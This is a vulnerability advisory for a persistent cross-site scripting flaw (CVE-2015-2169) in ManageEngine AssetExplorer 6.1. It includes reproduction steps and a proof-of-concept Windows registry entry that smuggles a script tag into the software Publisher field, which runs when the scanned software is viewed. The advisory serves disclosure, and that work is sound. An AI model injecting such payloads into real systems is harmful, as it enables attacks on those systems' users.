ManageEngine Asset Explorer 6.1 – Persistent Cross-Site Scripting
Title: =============== ManageEngine Asset Explorer v6.1 - XSS Vulnerability CVE-ID: ==================================== CVE-2015-2169 CVSS: ==================================== 3.5 Product & Service Introduction (Taken from their homepage): ==================================== ManageEngine AssetExplorer is a web-based IT Asset Management (ITAM) software that helps you monitor and manage assets in your network from Planning phase to Disposal phase. AssetExplorer provides you with a number of ways to ensure discovery of all the assets in your network. You can manage software & hardware assets, ensure software license compliance and track purchase orders & contracts - the whole nine yards! AssetExplorer is very easy to install and works right out of the box. (Homepage: https://www.manageengine.com/products/asset-explorer/ ) Abstract Advisory Information: ============================== Cross site scripting attack can be performed on the manage engine asset explorer. If the 'publisher' name contains vulnerable script, it gets executed in the browser. Affected Products: ==================== Manage Engine Product: Asset Explorer - Web Application 6.1.0 (Build 6112) Severity Level: ==================== Medium Technical Details & Description: ================================ Add a vendor with a script in it to the registry. Login to the product, Scan the endpoint where the registry is modified. In the right pane, go to software->Scanned Software The script gets executed. Vulnerable Product(s): ManageEngine Asset Explorer Affected Version(s): Version 6.1.0 / Build Number 6112 (Earlier versions i did not test) Vulnerability Type(s): Persistent Cross Site Scripting PoC: ======================= Add the following registry entry in the machine, for targeted attack. Windows Registry Editor Version 5.00 [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Fake_Software] "DisplayName"="A fake software 2 installed" "UninstallString"="C:\\Program Files\\fake\\uninst.exe" "DisplayVersion"="0.500.20" "URLInfoAbout"="http://www.dummy.org" "Publisher"="<script> alert(\"XSS\"); </script>" Security Risk: ================== Medium. Credits & Authors: ================== Suraj Krishnaswami (suraj.krishnaswami@gmail.com) Timeline: ================== Discovered at Wed, March 3, 2015 Informed manage engine about the vulnerability: March 4, 2015 Case moved to development team: March 4, 2015 Asked for updates: March 9, 2015 Asked for updates: March 13, 2015 Asked for updates: April 14, 2015 Public Disclosure at Mon, June 22, 2015 |